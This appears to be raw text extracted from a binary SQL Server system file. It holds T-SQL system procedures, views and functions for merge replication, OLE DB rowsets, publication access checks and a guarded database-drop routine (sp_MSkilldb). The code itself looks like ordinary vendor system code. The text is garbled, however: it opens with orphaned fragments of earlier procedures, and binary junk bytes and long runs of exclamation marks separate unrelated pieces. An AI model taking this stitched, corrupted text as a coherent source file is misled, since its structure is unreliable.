    if @@error<>0 or @retcode<>0 or @partition_id is NULL or @partition_id = -1
        return 0

    select @retcode = 0
    
    begin tran
    
    select @subdb_table = db_name, @subserver_table = subscriber_server 
        from dbo.sysmergesubscriptions with (updlock, holdlock)
        where pubid = @pubid and partition_id = @partition_id
    if @subdb_table is NULL
    begin
        select @valid = 1
        goto DONE
    end

    if (@subdb_table <> @subscriber_db) or (UPPER(@subserver_table) <> UPPER(@subscriber))
        select @valid = 0
    else
        select @valid = 1

    if @valid = 0 and @force_delete_other_input = 1
    begin
        select @subid_table = subid from dbo.sysmergesubscriptions where pubid=@pubid and subscriber_server = @subserver_table and db_name = @subdb_table
        if @subid_table is NULL
            goto ERROR

        delete from dbo.sysmergesubscriptions where pubid=@pubid and subscriber_server = @subserver_table and db_name = @subdb_table
        if @@error<>0
            goto ERROR

        delete from dbo.MSmerge_replinfo where repid=@subid_table
        if @@error<>0
            goto ERROR

        if not exists (select 1 from dbo.sysmergesubscriptions 
                        where pubid=@pubid and UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
                           and db_name = @subscriber_db)
        begin
            select @subnickname = max(replnickname) from dbo.sysmergesubscriptions 
               where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default 
                    and db_name = @subscriber_db
                    and status <> 7 -- REPLICA_STATUS_BeforeRestore
                    
            -- Generate a new replica nickname from the @subid 
            if (@subnickname is null)
            begin
                EXECUTE @retcode = sys.sp_MSgenreplnickname 
                                            @srcguid= @subid, 
                                            @replnick= @subnickname output
                if @@ERROR<>0 or @retcode<>0 goto ERROR
            end
            
            insert into dbo.sysmergesubscriptions 
                        (subid, subscriber_server, db_name, pubid, partition_id, replnickname, replicastate, 
                        subscriber_type, subscription_type, priority, sync_type, replica_version, status)
                values (@subid, @subscriber, @subscriber_db, @pubid, @partition_id, @subnickname, newid(), 
                        3, 2, 0, 1, 90, 0  -- this has to be an anonymous subscriber, even if these are wrong sp_MSaddinitialsubscription will later correct it.
                        )
            if @@error<>0
                goto ERROR
            insert into dbo.MSmerge_replinfo(repid, login_name) values (@subid, suser_sname(suser_sid())) 
            if @@error<>0
                goto ERROR
        end
        else
        begin
            update dbo.sysmergesubscriptions set partition_id = @partition_id 
                where pubid=@pubid and UPPER(subscriber_server) = UPPER(@subscriber) and db_name = @subscriber_db
            if @@error<>0
                goto ERROR
        end
        select @force_delete_other = 1, @valid = 1, @subscriber_deleted = @subserver_table, @subscriberdb_deleted = @subdb_table
    end

DONE:
    commit tran
    return 0

ERROR:
    rollback tran
    return 1 

                --goto UNDO
            --end
        end        
    
        -- rollback tran so that the temp view gets dropped. 
        rollback tran check_join_filter_partid_lim
        commit tran
        
        -- Check the next join filter.    
        
        select top 1 @join_filterid = join_filterid
                , @art_nickname = art_nickname
                , @join_nickname = join_nickname
                , @join_filterclause = join_filterclause
        from dbo.sysmergesubsetfilters 
        where pubid = @pubid
        and (filter_type & 1) = 1
        and join_filterid > @join_filterid
        order by join_filterid
        
        if @@rowcount = 0
            set @join_filterid = NULL
    end
    
    return 0
    
UNDO:

    if @@trancount > 0
    begin
        rollback tran check_join_filter_partid_lim
        commit tran
        return 1
    end


	return 0
end																
  end
    end

    return @retcode    
endY=Y`	<)+I,0
[0 `8
create procedure sys.sp_foreign_keys_rowset3
(
    @pk_table_schema        sysname = null,
    @pk_table_catalog       sysname = null,
    @foreignkey_tab_schema  sysname = null,
    @foreignkey_tab_catalog sysname = null
)
as
--------------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st & 3rd parameters !
--------------------------------------------------------------------------------------------------
    select
--        PK_TABLE_CATALOG    = db_name(r.rkeydbid),
        PK_TABLE_CATALOG    = db_name(),
        PK_TABLE_SCHEMA     = schema_name(o1.schema_id),
        PK_TABLE_NAME       = o1.name,
        PK_COLUMN_NAME      = c1.name,
        PK_COLUMN_GUID      = convert(uniqueidentifier,null),
        PK_COLUMN_PROPID    = convert(int,null),
--        FK_TABLE_CATALOG    = db_name(r.fkeydbid),
        FK_TABLE_CATALOG    = db_name(),
        FK_TABLE_SCHEMA     = schema_name(o2.schema_id),
        FK_TABLE_NAME       = o2.name,
        FK_COLUMN_NAME      = c2.name,
        FK_COLUMN_GUID      = convert(uniqueidentifier,null),
        FK_COLUMN_PROPID    = convert(int,null),
        ORDINAL             = convert(int,k.constraint_column_id),
--        UPDATE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsUpdateCascade')
        UPDATE_RULE         = CASE r.update_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
--        DELETE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsDeleteCascade')
        DELETE_RULE         = CASE r.delete_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
        PK_NAME             = i.name,
--        FK_NAME             = object_name(r.constid),
        FK_NAME             = object_name(r.object_id),
        DEFERRABILITY       = convert(smallint, 3) -- DBPROPVAL_DF_NOT_DEFERRABLE
    from
        sys.all_objects o1, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_objects o2, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_columns c1,
        sys.all_columns c2,

--        sysreferences r,
        sys.foreign_keys r inner join
        sys.foreign_key_columns k on (k.constraint_object_id = r.object_id) inner join
        sys.indexes i on (r.referenced_object_id = i.object_id and r.key_index_id = i.index_id)
    where
            (@foreignkey_tab_catalog is null or @foreignkey_tab_catalog = db_name())
        and (@pk_table_schema  is null       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!

        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
03 B8CREATE VIEW sys.dm_tran_commit_table AS
	SELECT commit_ts, xdes_id, commit_lbn, commit_csn, commit_time
			FROM sys.syscommittab WITH (READCOMMITTEDLOCK)
	UNION
	SELECT commit_ts, xdes_id, commit_lbn, commit_csn, commit_time 
			FROM OpenRowset (table SYSCOMMITTABLE, db_id (), 0, 0)
04B 8CREATE FUNCTION sys.dm_cryptographic_provider_keys
	(
	@ProviderId			INT			= 0
	)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET
		(
		TABLE DM_CRYPTO_PROVIDER_KEYS, 
		@ProviderId
		)
0 E@ |8CREATE view sys.dm_fts_outstanding_batches
AS
	SELECT * FROM OpenRowset(TABLE FTBATCHES)
0p7 8
--
-- Name:    
--          sp_MSrepl_DistDBPALAccess
--          
-- Description: 
--          This stored procedure runs in a distribution database.  It returns
--          Success (0) if the current user has PAL access to the distribution
--          database.  The user must either be a member of the 'db_owner' or
--          'replmonitor' role of the distribution database or must be in the PAL
--          of a publication associated with a publication that uses the current
--          database as its distribution database.
--
--          If @publisher is specified, only this publisher is checked.
--          If @publisher is not specified, all publishers are checked.
--
--          If @publication is specified, only this publication is checked.
--          If @publication is not specified, all publications are checked.
--
--          If @publication is specified, @publisher must be specified as well.
--
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 


create procedure sys.sp_MSrepl_DistDBPALAccess
(
    @publisher sysname = N'%',
    @publication sysname = N'%'
) 
AS
BEGIN
    set nocount on
    declare @isntname int
                ,@sid varbinary(85)

    --
    -- If @publication is specified, @publisher must be specified as well
    --
    if @publication <> N'%' and @publisher = N'%'
        return(1)
    --
    -- if the user is a member of either the db_owner or the replmonitor
    -- role return success
    --
    if is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1
        return(0)
    --
    -- initialize
    --
    select @sid = suser_sid()
    
    select @isntname = isntname 
    from master.dbo.syslogins 
    where sid = @sid and hasaccess = 1
    
    if @isntname is null and @sid is not null 
        select @isntname = 1
    -- 
    -- if the user is in the PAL of the/any publication associated
    -- with the/any publisher making use of this distribution database
    -- return success
    -- 
    if exists ( select distinct d.distribution_db
                from MSpublication_access a,
                     MSpublications p,
                     master.dbo.sysservers s,
                     msdb.dbo.MSdistpublishers d
                where a.publication_id = p.publication_id
                and   p.publication LIKE @publication
                and   (a.sid = @sid or
                    (@isntname = 1) and (exists (select * from master..syslogins
                        where sid = a.sid and isntgroup = 1 and is_member(a.login) = 1))
                )
                and   p.publisher_id = s.srvid
                and   UPPER(s.srvname collate database_default) = d.name collate database_default
                and   d.distribution_db = DB_NAME()
                and   UPPER(s.srvname collate database_default) LIKE UPPER(@publisher))
    begin
        return(0)
    end
    --
    -- if we are here - no PAL access
    --
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"1e`?G<%>g0N@ 8 
-- add it
create view sys.pdw_distributions as
select
	distribution_id,
	pdw_node_id,
	name	collate database_default name,
	position
from sys._pdw_distributions
0h 8CREATE FUNCTION sys.fn_MSxe_read_event_stream (
	@source nvarchar(260),
	@source_opt int = 0
)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE FN_MSXE_READ_EVENT_STREAM, @source, @source_opt)
0@ 8create procedure sys.sp_user_counter10 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 10', @newvalue)
0'z 8create procedure sys.sp_MSreset_queued_reinit 
(
    @subscriber      sysname,                    -- subscriber server name
    @subscriber_db   sysname,                -- subscribing database name. 
    @artid    int                                   -- article id
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication sysname
    --
    -- PAL security check
    -- Get publication name using artid
    --
    select @publication = p.name
    from syspublications p join sysarticles a on p.pubid = a.pubid
    where a.artid = @artid
    if (@publication is null)
    begin
        return (1)
    end
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- Validate @subscriber
    --
    --
    -- validate @subscriber_db, @artid
    --
    if exists (select * 
        from dbo.syssubscriptions
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db)
    begin
        --
        -- set the reinit flag
        --
        update dbo.syssubscriptions
        set queued_reinit = 0
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db
        if (@@error != 0)
            return (1)
    end
    else
    begin
        return (1)
    end
    --
    -- all done
    --
    return (0)
end            
0e J8
create procedure sys.sp_reinitpullsubscription (
    @publisher sysname,
    @publisher_db sysname = NULL,
    @publication sysname = 'all'                       /* publication name */
    )AS

    SET NOCOUNT ON
    
    declare @subscription_type int    
    declare @sync_type tinyint
    
    /*
    ** Security Check
    */
    
      declare @retcode     int  
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    /*
    ** Initializations.
    */
   
    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is define
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_reinitpullsubscription')
        RETURN (1)
    END

    IF @publisher = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publisher

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
    
    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    IF @publisher_db IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher_db
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END
    ELSE
    BEGIN
        -- @publisher_db is NULL for Oracle publishers only
        SET @publisher_db = @publisher
    END

    /*
    ** Parameter Check: @publication
    ** 
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_reinitpullsubscription')
        RETURN (1)
    END

    IF LOWER(@publication) = 'all'
        select @publication = '%'
    ELSE
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publication

        IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    END

    -- Peer-To-Peer subscriptions cannot be reinited
    IF OBJECT_ID(N'MSpeer_lsns', 'U') is not NULL
    BEGIN
        -- Check if we should raise an
        IF exists(select * 
                    from MSpeer_lsns
                    where originator = UPPER(@publisher)
                        and originator_db = @publisher_db
                        and originator_publication like @publication)
        BEGIN
            -- Subscriptions to publications that are enabled for ''Peer-To-Peer'' cannot be reinitialized.
            raiserror(20801, 16, -1)
            return (1)
        END        
    END
    
    IF NOT EXISTS (SELECT * FROM  MSreplication_subscriptions 
                WHERE UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db  = @publisher_db AND
                      publication like @publication )
    BEGIN
            RAISERROR(14135, 11, -1,  @publisher, @publisher_db, @publication)
            RETURN(1)
    END
        
    select @sync_type = immediate_sync 
        from MSreplication_subscriptions
        WHERE UPPER(publisher) = UPPER(@publisher) AND publisher_db  = @publisher_db AND publication like @publication 

    IF @sync_type = 0
    BEGIN
        raiserror(21059, 16, -1)
        return (1)
    END
    
    -- 
    -- Since it is the user's desire to reinitialize the pull subscriptions,
    -- we should make sure that new snapshots are delivered from scratch
    -- to this subscription database by resetting the snapshot delivery
    -- progress table.
    --
    exec @retcode = sys.sp_resetsnapshotdeliveryprogress
    if @retcode <> 0 or @@error <> 0
        return (1)

    UPDATE MSreplication_subscriptions set 
        transaction_timestamp = cast(0x00 as binary(15)) + cast(substring(transaction_timestamp, 16, 1) as binary(1))
        WHERE UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db  = @publisher_db AND
                      publication like @publication
    if @@ERROR<>0 
        RETURN (1)

    -- Reset the attach state so that the distribution agent will not adjust attach state.
    if @publication <> '%'
    begin
        select @subscription_type = subscription_type from MSreplication_subscriptions
            WHERE UPPER(publisher) = UPPER(@publisher) AND
                          publisher_db  = @publisher_db AND
                          publication = @publication and
                          -- Don't do this for push
                          subscription_type <> 0
        if @subscription_type is not null
        begin
            exec @retcode = sys.sp_MSreset_attach_state 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscription_type = @subscription_type
            if @retcode <> 0 or @@error <> 0
                return (1)
        end
    end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,`<TOJ#0ɫ 8 
-- add it
create view sys.dm_pdw_nodes_exec_background_job_queue as
select *, convert(int, null) pdw_node_id from sys.dm_exec_background_job_queue
0 8
create procedure sys.sp_table_constraints_rowset2
(
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @constraint_name    sysname = null,
    @constraint_schema  sysname = null,
    @constraint_catalog sysname = null,
    @constraint_type    nvarchar(255) = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        TABLE_CATALOG       = db_name(),
        TABLE_SCHEMA        = schema_name(t_obj.schema_id),
        TABLE_NAME          = t_obj.name,
--        CONSTRAINT_TYPE     = case (syscon.status & 0xf)
        CONSTRAINT_TYPE     = case syscon.type
--                                when 1 then N'PRIMARY KEY'
                                when 'PK' then N'PRIMARY KEY'
--                                when 2 then N'UNIQUE'
                                when 'UQ' then N'UNIQUE'
--                                when 3 then N'FOREIGN KEY'
                                when 'F' then N'FOREIGN KEY'
--                                when 4 then N'CHECK'
                                when 'C' then N'CHECK'
                                else null
                              end,
        IS_DEFERRABLE       = convert(bit, 0),
        INITIALLY_DEFERRED  = convert(bit, 0),
        DESCRIPTION         = convert(nvarchar(1), null)

    from
        sys.all_objects o,
        sys.all_objects t_obj,
--        sysconstraints syscon
        sys.all_objects syscon
    where
        t_obj.type in ('U','S') and
        (@table_catalog is null or @table_catalog = db_name()) and
        (@table_schema is null or @table_schema = schema_name(t_obj.schema_id)) and
        syscon.parent_object_id = t_obj.object_id and
        (syscon.type in ('PK', 'UQ', 'F', 'C')) and
        o.object_id    = syscon.object_id and
        o.schema_id = schema_id() and
        (@constraint_name is null or o.name = @constraint_name) and
        (@constraint_catalog is null or @constraint_catalog = db_name()) and
        (@constraint_schema is null or @constraint_schema = schema_name(o.schema_id)) and
        (@constraint_type is null or
         syscon.type = case @constraint_type
                       when N'PRIMARY KEY' then 'PK'
                       when N'UNIQUE' then 'UQ'
                       when N'FOREIGN KEY' then 'F'
                       when N'CHECK' then 'C'
                       end)
    order by 2,3,5,6,7
0+ #8create procedure sys.sp_MSpeerapplytopologyinfo
(
	@request_id		int,
	@originator		sysname,
	@originator_db	sysname,
	@response_srvr	sysname,
	@response_db		sysname,
	@connection_info    XML = NULL,
	@response_srvr_version	int,
	@response_originator_id int,
	@response_conflict_retention int
)
as
begin
	set nocount on	
	
	declare @retcode int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
       if @@error <> 0 or @retcode <> 0 
       begin
           return 1
       end

	-- we will exit in either of these conditions since this means we
	-- are not at the correct node and we should treat this as a noop
	-- the conditions are as follows:
	--	1. Any of the user provided information is NULL
	--	2. We are not on the originator server
	--	3. (NOT USED) The originator and reponse_srvr are the same
	--
	-- section 1 
	if @request_id is NULL
		or @originator is NULL
		or @originator_db is NULL
		or @response_srvr is NULL
		or @response_db is NULL
		-- section 2
		or UPPER(@originator) <> UPPER(publishingservername())
		or @originator_db <> db_name()
		-- we do not need the 3rd condition since we want topology from the originator as well
		---- section 3
		--or (UPPER(@originator) = UPPER(@response_srvr)
		--	and @originator_db = @response_db)
	begin
		return 0
	end
	
	begin transaction tr_sp_MSpeerapplytopologyinfo
	save transaction tr_sp_MSpeerapplytopologyinfo

	if @response_originator_id = 0 
	begin
		select @response_originator_id = NULL
		select @response_conflict_retention = NULL
	end
	
	update MSpeer_topologyresponse
		set received_date = getdate(),
			connection_info = @connection_info,
			peer_version = @response_srvr_version,
			originator_id = @response_originator_id,
			peer_conflict_retention = @response_conflict_retention
		where request_id = @request_id
			and peer = @response_srvr
			and peer_db = @response_db
	if @@error <> 0
	begin
		-- The procedure sys.MSpeer_topologyresponse failed to UPDATE the resource MSpeer_topologyresponse Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_MSpeerapplytopologyinfo', 'UPDATE', 'MSpeer_topologyresponse.', @@error)
		goto FAILURE
	end

	--update the peer node version inside MSpeer_lsns
	if @response_srvr_version is not null
	begin
		update MSpeer_lsns
		set originator_version = @response_srvr_version
		where originator = @response_srvr 
			and originator_db = @response_db
			and originator_publication = (select  publication from MSpeer_topologyrequest where id = @request_id)
			and originator_version <> @response_srvr_version
	end
	
	commit transaction tr_sp_MSpeerapplytopologyinfo

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeerapplytopologyinfo
	commit transaction 
	
	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1`<kK14(0M  h8
create procedure sys.sp_table_statistics2_rowset
(
    @table_name         sysname,
    @table_schema       sysname = null,
    @table_catalog      sysname = null,
    @stat_name          sysname = null,
    @stat_schema        sysname = null,
    @stat_catalog       sysname = null
)
as
begin
    set nocount on

    -- check in parameters
    if ((@table_catalog is not null) and (db_name() <> @table_catalog)
        or (@stat_catalog is not null) and (db_name() <> @stat_catalog))
        begin   -- If qualifier doesn't match current database
            RAISERROR(20001, 16, 1); -- '~~Rush_5~~'
            return
        end

    declare @objid  int, @schid  int

    select @schid = schema_id(@table_schema)
    select @objid = object_id(
                        isnull(quotename(@table_catalog ), '') + '.' +
                        isnull(quotename(@table_schema), '')   + '.' +
                        quotename(@table_name))

    --- create temp table
    create table #spstattab
    (
        tblcatalog  sysname collate catalog_default not null,
        tblschema   sysname collate catalog_default not null,
        tblname     sysname collate catalog_default not null,
        statname    sysname collate catalog_default not null
    )

    -- I don't like this copy&paste stuff, but here it boosts performance by 50%.
    if @table_name is not null
    begin
        insert into #spstattab
        select
            tblcatalog  = db_name(),
            tblschema   = schema_name(o.schema_id),
            tblname     = o.name,
            statname    = st.name
        from
            sys.all_objects o inner join
            sys.stats st on
                (
                    @objid = o.object_id and
                    st.object_id = o.object_id and
                    o.type in ('U') and
                    (@stat_name is null or @stat_name = st.name) and
                    (@stat_schema is null or @stat_schema = schema_name(o.schema_id))
                )
    end
    else
    begin
        insert into #spstattab
        select
            tblcatalog  = db_name(),
            tblschema   = schema_name(o.schema_id),
            tblname     = o.name,
            statname    = st.name
        from
            sys.all_objects o inner join
            sys.stats st on
                (
                    (@table_schema is null or @schid = o.schema_id) and
                    st.object_id = o.object_id and
                    o.type in ('U') and
                    (@stat_name is null or @stat_name = st.name) and
                    (@stat_schema is null or @stat_schema = schema_name(o.schema_id))
                )
    end

    -- Fast forward CURSOR OVER THE temp table, apply the order clause here but not
    -- in the code above used for filling temp table with data.
    declare ff_csr cursor local fast_forward for
        select tblcatalog, tblschema, tblname, statname from #spstattab order by 1,2,3,4

    declare
        @tblcatalog sysname,
        @tblschema  sysname,
        @tblname    sysname,
        @statname   sysname,
        @qtbl       nvarchar(4000),
        @rowsetcount    int

    set @rowsetcount = 0

    open ff_csr
    fetch ff_csr into @tblcatalog, @tblschema, @tblname, @statname
    while @@fetch_status >= 0
    begin
        set @rowsetcount = @rowsetcount + 1
        set @qtbl = quotename(@tblcatalog) + '.' + quotename(@tblschema) + '.' + quotename(@tblname)

        --
        -- This is the real stuff.
        --
        dbcc show_statistics(@qtbl, @statname) with stat_header join density_vector

        fetch ff_csr into @tblcatalog, @tblschema, @tblname, @statname
    end
    close ff_csr
    deallocate ff_csr

    --- drop temp table
    drop table #spstattab
    if @rowsetcount = 0
    begin
        select
            TABLE_CATALOG = convert(sysname, null),
            TABLE_SCHEMA = convert(sysname, null),
            TABLE_NAME = convert(sysname, null),
            STATISTICS_CATALOG = convert(sysname, null),
            STATISTICS_SCHEMA = convert(sysname, null),
            STATISTICS_NAME = convert(sysname, null),
            STATISTICS_TYPE = convert(smallint,0),
            COLUMN_NAME = convert(sysname, null),
            COLUMN_GUID = convert(uniqueidentifier, null),
            COLUMN_PROPID = convert(int, null),
            ORDINAL_POSITION = convert(int, null),
            SAMPLE_PCT = convert(smallint, null),
            LAST_UPDATE_TIME = convert(datetime, null),
            NO_OF_RANGES = convert(int, null),
            COLUMN_CARDINALITY = convert(bigint, null),
            TUPLE_CARDINALITY = convert(bigint, null),
            TABLE_CARDINALITY = convert(bigint, null),
            AVG_COLUMN_LENGTH = convert(int, null)
        where 1=0
    end

    set nocount off
end
0 8create function sys.fn_activedistributionagentids
(	
	@publication_id int
)
returns @agentids table (agent_id int)
as
begin
	declare @ACTIVE		int,
			@INITIATED	int

	select @ACTIVE		= 2,
			@INITIATED	= 3

	insert into @agentids
		-- anonymous case
		select msda.id
			from dbo.MSsubscriptions mss 
				join MSdistribution_agents msda
					on mss.agent_id = msda.anonymous_agent_id
			where mss.status in (@ACTIVE, @INITIATED)
				and mss.subscriber_id < 0					-- keep range in anonymous
				and mss.publication_id = @publication_id

		union
		
		-- non-anonymous case
		select mss.agent_id
			from dbo.MSsubscriptions mss 
				join MSdistribution_agents msda
					on mss.agent_id = msda.id
			where mss.status in (@ACTIVE, @INITIATED)
				and mss.subscriber_id >= 0					-- keep range in non-anonymous
				and mss.publication_id = @publication_id

	return 
end
0 D8Nhy9z0cЯ@ 8
create proc sys.sp_MSkilldb
	@dbname nvarchar(258)
as
	if (@@trancount > 0) begin
		RAISERROR (15002, -1, -1, N'sp_MSkilldb')
		return 1
	end

	if (is_member(N'db_owner') <> 1 and is_member(N'db_ddladmin') <> 1) begin
		RAISERROR (15003, -1, -1, N'')
		return 1
	end

	declare @stmt nvarchar(1000)
	select @stmt=N'drop database ' + QUOTENAME(@dbname)
	execute sys.sp_executesql @stmt
	return 0
